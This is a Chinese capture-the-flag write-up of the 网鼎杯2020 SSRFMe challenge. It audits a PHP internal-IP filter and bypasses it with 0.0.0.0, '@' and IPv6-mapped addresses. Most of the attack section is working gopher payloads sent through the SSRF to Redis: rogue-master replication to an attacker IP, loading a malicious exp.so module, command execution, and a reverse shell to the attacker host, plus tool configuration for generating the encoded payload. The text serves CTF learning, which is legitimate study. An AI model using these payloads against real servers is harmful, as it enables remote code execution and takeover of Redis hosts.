网鼎杯2020玄武组-SSRFMe 参考博客:https://blog.csdn.net/qq_46143339/article/details/146221826
源码:
代码审计: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 <?php function check_inner_ip ($url ) { $match_result = preg_match ('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/' , $url ); if (!$match_result ) { die ('url fomat error' ); } try { $url_parse = parse_url ($url ); } catch (Exception $e ) { die ('url fomat error' ); return false ; } $hostname = $url_parse ['host' ]; $ip = gethostbyname ($hostname ); $int_ip = ip2long ($ip ); return ip2long ('127.0.0.0' ) >> 24 == $int_ip >> 24 || ip2long ('10.0.0.0' ) >> 24 == $int_ip >> 24 || ip2long ('172.16.0.0' ) >> 20 == $int_ip >> 20 || ip2long ('192.168.0.0' ) >> 16 == $int_ip >> 16 ; }function safe_request_url ($url ) { if (check_inner_ip ($url )) { echo $url . ' is inner ip' ; } else { $ch = curl_init (); curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 ); curl_setopt ($ch , CURLOPT_HEADER, 0 ); $output = curl_exec ($ch ); $result_info = curl_getinfo ($ch ); if ($result_info ['redirect_url' ]) { safe_request_url ($result_info ['redirect_url' ]); } curl_close ($ch ); var_dump ($output ); } }if (isset ($_GET ['url' ])) { $url = $_GET ['url' ]; if (!empty ($url )) { safe_request_url ($url ); } } else { highlight_file (__FILE__ ); }
内网IP检测逻辑: check_inner_ip函数通过解析URL的host部分,将其转换为IP地址,并与内网IP段(127.0.0.0/8、10.0.0.0/8等)对比。若检测到内网IP,则拒绝请求。 SSRF触发点: safe_request_url函数使用cURL发起请求,若存在重定向(如302跳转),会递归调用自身处理重定向后的URL。 详细代码审计见文章结尾。
解题思路: 首先要绕过内网IP限制访问hint.php
绕过方法:利用0.0.0.0作为本地地址的别名特性,构造请求:?url=http://0.0.0.0/hint.php;或者使用@符号混淆:?url=http://abc.com@0.0.0.0/hint.php或者使用IPv6绕过限制:?url=http://[0:0:0:0:0:ffff:127.0.0.1]//hint.php
hint.php内容:
1 2 3 4 5 6 7 8 string (1342 ) " <?php if($_SERVER ['REMOTE_ADDR']===" 127.0 .0.1 "){ highlight_file(__FILE__); } if(isset($_POST ['file'])){ file_put_contents($_POST ['file']," <?php echo 'redispass is root' ;exit ();".$_POST ['file']); } "
提示Redis密码为root,但是直接写入文件失败,因为权限不足。所以需向Redis攻击。
解法一 Redis主从复制攻击 攻击原理: Redis 4.x~5.0.5支持主从复制,从机(靶机)可加载恶意模块(.so文件)实现RCE (Remote Code Execution,远程代码执行) 。需利用SSRF向Redis发送命令,使其连接至攻击者控制的“主服务器”并加载恶意模块。Payload需二次URL编码以确保传输正确。
攻击步骤:
1、攻击开启主服务器
需要利用到两个工具:Awsome-Redis-Rogue-Server 与redis-rogue-server 。先下载这两个工具,地址分别为:https://github.com/n0b0dyCN/redis-rogue-server和https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server。替换Awsome-Redis-Rogue-Server的模块为redis-rogue-server的exp.so(含system命令模块),启动恶意主节点并加载该模块执行命令。redis_rogue_server.py位于Awsome-Redis-Rogue-Server项目中,redis-rogue-server.py位于redis-rogue-server
1 python3 redis_rogue_server.py -v -path exp .so -lport 21000
2、修改Redis持久化文件(如 RDB 快照)的存储目录:
gopher协议具体介绍见文章基础知识《Gopher协议》 。发送命令设置存储目录为/tmp(有写权限),编码后Payload: (%0d和0x0a分别代表回车符(CR,ASCII 13) 和 换行符(LF,ASCII 10) ,%编码之后是%25)
1 2 3 4 5 6 gopher:// 0 .0 .0 .0 :6379 /_auth root config set dir /tmp/ quit gopher:// 0 .0 .0 .0 :6379 /_auth%252 0root%25 0d%25 0aconfig%252 0set%252 0dir%2520 /tmp/%25 0d%250aquit
3、设置主从复制关系,数据同步:
指定恶意Redis服务器(如攻击者IP 174.1.185.67:21000)为主节点,并设置持久化文件名为exp.so:
1 2 3 4 5 6 7 gopher ://0.0.0.0:6379 /_auth rootconfig set dbfilename exp.so # 将 Redis 持久化文件(如 RDB 快照)的名称设置为 `exp.so`slaveof 174.1.185.67 21000 # 将当前 Redis 实例设置为 IP `174.1.185.67 ` 端口 `21000 ` 的从节点,接受主节点的数据同步quit gopher ://0.0.0.0:6379 /_auth%2520 root%250 d%250 aconfig%2520 set%2520 dbfilename%2520 exp.so%250 d%250 aslaveof%2520174 .1 .185 .67 %252021000 %250 d%250 aquit
4、加载恶意模块
1 2 3 4 5 gopher: //0.0 .0.0 :6379 /_auth rootmodule load /tmp/exp.so quitgopher: //0.0 .0.0 :6379 /_auth%2520 root%250 d%250 amodule%2520 load %2520 /tmp/exp.so%250 d%250 aquit
5、关闭主从同步
1 2 3 4 5 gopher ://0.0.0.0:6379 /_auth rootslaveof NO ONEquit gopher ://0.0.0.0:6379 /_auth%2520 root%250 d%250 aslaveof%2520 NO%2520 ONE%250 d%250 aquit
6、导出数据库 :
1 2 3 4 5 gopher ://0.0.0.0:6379 /_auth rootconfig set dbfilename dump.rdbquit gopher ://0.0.0.0:6379 /_auth%2520 root%250 d%250 aconfig%2520 set%2520 dbfilename%2520 dump.rdb%250 d%250 aquit
7、获取flag
1 2 3 4 5 gopher ://0.0.0.0:6379 /_auth rootsystem .exec "cat /flag" quit gopher ://0.0.0.0:6379 /_auth%2520 root%250 d%250 asystem.exec%2520 %2522 cat%2520 %252 Fflag%2522 %250 d%250 aquit
解法二 反弹shell
1 2 3 4 5 6 gopher ://0.0.0.0:6379 /_auth rootsystem .rev 174.1.185.67 6666 quit gopher ://0.0.0.0:6379 /_auth%2520 root%250 d%250 asystem.rev%2520174 .1 .185 .67 %25206666 %250 d%250 aquit
1 2 3 4 5 6 7 dir exp.so pear dir / bin dev flag home lib64 mnt proc run srv sys usr boot etc flag.sh lib media opt root sbin start.sh tmp var cat /flag flag {dca2cded-fb98-4 b9b-a92b-c040fc8c0c2f}
**解法三:redis-ssrf**: 工具:redis-ssrf 以及上文提到的redis-rogue-server 。redis-ssrf地址:https://github.com/xmsec/redis-ssrf。 过程:
复制.so文件到redis-ssrf目录中;
修改ssrf-redis.py文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 elif mode==3: lhost="192.168.1.100" lport="6666" command="whoami" elif mode==3: lhost="攻.击.机.ip" lport="攻击机端口" command="cat /flag" ip="127.0.0.1" port="6379" payload=protocol+ip+":" +port+"/_" ip="0.0.0.0" port="6379" payload=protocol+ip+":" +port+"/_" passwd = '' passwd = 'root'
修改完成后运行产生
1 payload :gopher://0.0.0.0:6379 /_%2 A2%0 D%0 A%244 %0 D%0 AAUTH%0 D%0 A%244 %0 D%0 Aroot%0 D%0 A%2 A3%0 D%0 A%247 %0 D%0 ASLAVEOF%0 D%0 A%2413 %0 D%0 A192.168.1.100 %0 D%0 A%244 %0 D%0 A6666%0 D%0 A%2 A4%0 D%0 A%246 %0 D%0 ACONFIG%0 D%0 A%243 %0 D%0 ASET%0 D%0 A%243 %0 D%0 Adir%0 D%0 A%245 %0 D%0 A/tmp/%0 D%0 A%2 A4%0 D%0 A%246 %0 D%0 Aconfig%0 D%0 A%243 %0 D%0 Aset%0 D%0 A%2410 %0 D%0 Adbfilename%0 D%0 A%246 %0 D%0 Aexp.so%0 D%0 A%2 A3%0 D%0 A%246 %0 D%0 AMODULE%0 D%0 A%244 %0 D%0 ALOAD%0 D%0 A%2411 %0 D%0 A/tmp/exp.so%0 D%0 A%2 A2%0 D%0 A%2411 %0 D%0 Asystem.exec%0 D%0 A%246 %0 D%0 Awhoami%0 D%0 A%2 A1%0 D%0 A%244 %0 D%0 Aquit%0 D%0 A
对payload再次进行url编码确保正常运行:
1 gopher %253 A%252 F%252 F0.0.0.0 %253 A6379%252 F_*2 %250 A%25244 %250 AAUTH%250 A%25244 %250 Aroot%250 A*3 %250 A%25247 %250 ASLAVEOF%250 A%252413 %250 A192.168.1.100 %250 A%25244 %250 A6666%250 A*4 %250 A%25246 %250 ACONFIG%250 A%25243 %250 ASET%250 A%25243 %250 Adir%250 A%25245 %250 A%252 Ftmp%252 F%250 A*4 %250 A%25246 %250 Aconfig%250 A%25243 %250 Aset%250 A%252410 %250 Adbfilename%250 A%25246 %250 Aexp.so%250 A*3 %250 A%25246 %250 AMODULE%250 A%25244 %250 ALOAD%250 A%252411 %250 A%252 Ftmp%252 Fexp.so%250 A*2 %250 A%252411 %250 Asystem.exec%250 A%25246 %250 Awhoami%250 A*1 %250 A%25244 %250 Aquit
运行redis-rogue-server.py并注入payload:
1 ?url=gopher%253A%252F%252F0.0 .0 .0 %253A6379%252F_*2 %250A%25244%250AAUTH%250A%25244%250Aroot%250A*3 %250A%25247%250ASLAVEOF%250A%252413%250A192.168 .1 .100 %250A%25244%250A6666%250A*4 %250A%25246%250ACONFIG%250A%25243%250ASET%250A%25243%250Adir%250A%25245%250A%252Ftmp%252F%250A*4 %250A%25246%250Aconfig%250A%25243%250Aset%250A%252410%250Adbfilename%250A%25246%250Aexp.so%250A*3 %250A%25246%250AMODULE%250A%25244%250ALOAD%250A%252411%250A%252Ftmp%252Fexp.so%250A*2 %250A%252411%250Asystem.exec %250A%25246%250Awhoami%250A*1 %250A%25244%250Aquit
知识点 Redis主从复制攻击 Redis主从复制攻击是指攻击者利用Redis主从架构的配置缺陷或漏洞,通过控制主节点或从节点实现未授权访问、数据泄露、远程代码执行(RCE)等恶意行为。以下是此类攻击的核心原理、常见手法及防御建议:
一、攻击原理
主从复制的机制漏洞 Redis主从复制默认基于异步通信,主节点(Master)将数据同步给从节点(Slave)。若主节点存在未授权访问或弱密码,攻击者可伪造从节点(Slave)身份,强制主节点发送数据或执行恶意命令,例如加载恶意模块(如.so文件)实现代码执行。
未授权访问与横向移动 Redis默认监听6379端口且早期版本无密码认证。攻击者通过暴露的Redis实例建立主从关系,利用SLAVEOF命令将目标Redis设置为从节点,进而控制主节点发送恶意数据(如恶意Lua脚本或模块)。
缓冲区溢出与代码执行 Redis的Lua脚本引擎(如CVE-2024-31449、CVE-2024-46981)存在堆栈溢出漏洞,攻击者可通过主从复制传递特制Lua脚本触发漏洞,导致远程代码执行(RCE)。
二、常见攻击手法 恶意模块加载攻击
步骤:攻击者搭建恶意主节点,生成包含后门的.so文件(如利用RedisModules-ExecuteCommand工具),诱导目标Redis作为从节点连接。主节点通过MODULE LOAD命令强制从节点加载恶意模块,获得反弹Shell或执行系统命令 。 案例:工具redis-rce通过生成恶意.so文件结合主从复制实现RCE 。 数据覆写与权限提升
通过CONFIG SET dir和CONFIG SET dbfilename修改Redis持久化路径,将SSH公钥写入目标服务器的authorized_keys文件,获取SSH登录权限 。 Lua脚本漏洞利用
利用Lua脚本引擎的缓冲区溢出漏洞(如CVE-2024-31449),通过主从复制传递恶意脚本触发堆栈溢出,实现代码执行 。
IPv6绕过
关键漏洞:未正确处理 IPv6 地址 函数的核心逻辑是提取 URL 的 host 并解析为 IPv4 地址,但未考虑 IPv6 地址的兼容性。 当 URL 使用 IPv4 映射的 IPv6 地址(如 [::ffff:127.0.0.1])时:
parse_url 会提取 host 为 0:0:0:0:0:ffff:127.0.0.1(IPv6 格式)。
gethostbyname 无法正确解析此类地址,可能直接返回原字符串或无效值。
ip2long 仅支持 IPv4,遇到非 IPv4 字符串会返回 false,导致后续逻辑失效。
步骤 1:正则表达式绕过 URL http://[0:0:0:0:0:ffff:127.0.0.1]//hint.php 符合正则规则:
1 preg_match('/^(http |https| gopher |dict)?:\/\/.*(\/)?.*$/', $url)
正则未严格校验主机名格式(如 IPv6 的方括号语法),导致绕过。
步骤 2:parse_url 解析结果 parse_url 提取的 host 为 0:0:0:0:0:ffff:127.0.0.1(去除方括号后的 IPv6 地址)。
步骤 3:gethostbyname 解析失败 gethostbyname 尝试解析 0:0:0:0:0:ffff:127.0.0.1:
步骤 4:ip2long 转换失败 1 2 $ip = '0:0:0:0:0:ffff:127.0.0.1' ; // 非 IPv4 格式$int_ip = ip2long($ip ); // 返回 false
ip2long 无法处理非 IPv4 地址,返回 false。
false 转换为整数时为 0,后续比较逻辑完全失效:
1 2 3 4 // 所有条件均为 false127.0.0.0 >>24 == 0 >>24 // 127 vs 0 → false10.0.0.0 >>24 == 0 >>24 // 10 vs 0 → false ...
函数错误地返回 false(认为非内网 IP),但实际目标为 127.0.0.1(应被拦截)。
根本原因 IPv6 盲区:函数仅针对 IPv4 设计,未处理 IPv6 地址(尤其是 IPv4 映射的 IPv6 地址)。 依赖脆弱函数:gethostbyname + ip2long 组合无法安全解析混合格式的 IP。 错误处理缺失:未校验 ip2long 的返回值是否为合法 IPv4。
parse_url解析 在 PHP 中,URL http://abc.com@0.0.0.0/hint.php 可以绕过 check_inner_ip 函数的内网 IP 检测,原因如下:
URL 结构分析
URL 格式:
,其中:
user 部分为 abc.com(用户名)。
host 部分为 0.0.0.0(实际目标主机)。
path 为 /hint.php。
parse_url 的解析结果
1 2 3 4 5 6 7 8 9 10 $url = 'http://abc.com@0.0.0.0/hint.php' ; $parts = parse_url($url); [ 'scheme' => 'http' , 'host' => '0.0.0.0' , 'user' => 'abc.com' , 'path' => '/hint.php' ]
关键点 :parse_url 正确解析出 host 为 0.0.0.0,但 0.0.0.0 是一个特殊 IP,表示“所有本机网络接口”,通常不被视为内网 IP 。
函数 check_inner_ip 的逻辑漏洞 函数通过以下步骤验证内网 IP:
提取 host(0.0.0.0)。
将 host 解析为 IP(gethostbyname(‘0.0.0.0’))。
检查该 IP 是否属于私有 IP 段(如 10.0.0.0/8, 192.168.0.0/16 等)。
漏洞 1:0.0.0.0 未被识别为内网 IP
0.0.0.0 是特殊 IP,表示“绑定到本机所有网络接口”,但不直接属于内网 IP 段(如 127.0.0.0/8 或 192.168.0.0/16)。
函数中的条件检查未覆盖 0.0.0.0,导致其被错误放行。
漏洞 2:gethostbyname 的行为
gethostbyname(‘0.0.0.0’) 的返回值取决于系统环境:
在某些系统中,0.0.0.0 会被解析为本机 IP(如 127.0.0.1)。
在另一些系统中,直接返回 0.0.0.0。
若返回 0.0.0.0,则 ip2long(‘0.0.0.0’) 的值为 0,而函数检查条件中未覆盖该值。
假设 gethostbyname('0.0.0.0') 返回 0.0.0.0:
1 2 3 4 5 6 7 8 9 10 $ip = '0 .0 .0 .0 '; $int_ip = ip2long($ip); // 结果为 0 // 检查条件:127.0.0.0 >>24 == 0 >>24 → 127 vs 0 → false10.0.0.0 >>24 == 0 >>24 → 10 vs 0 → false172.16.0.0 >>20 == 0 >>20 → 172 .16 vs 0 → false192.168.0.0 >>16 == 0 >>16 → 192 .168 vs 0 → false // 函数返回 false(认为非内网 IP),实际请求会发送到 0 .0 .0 .0 。
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。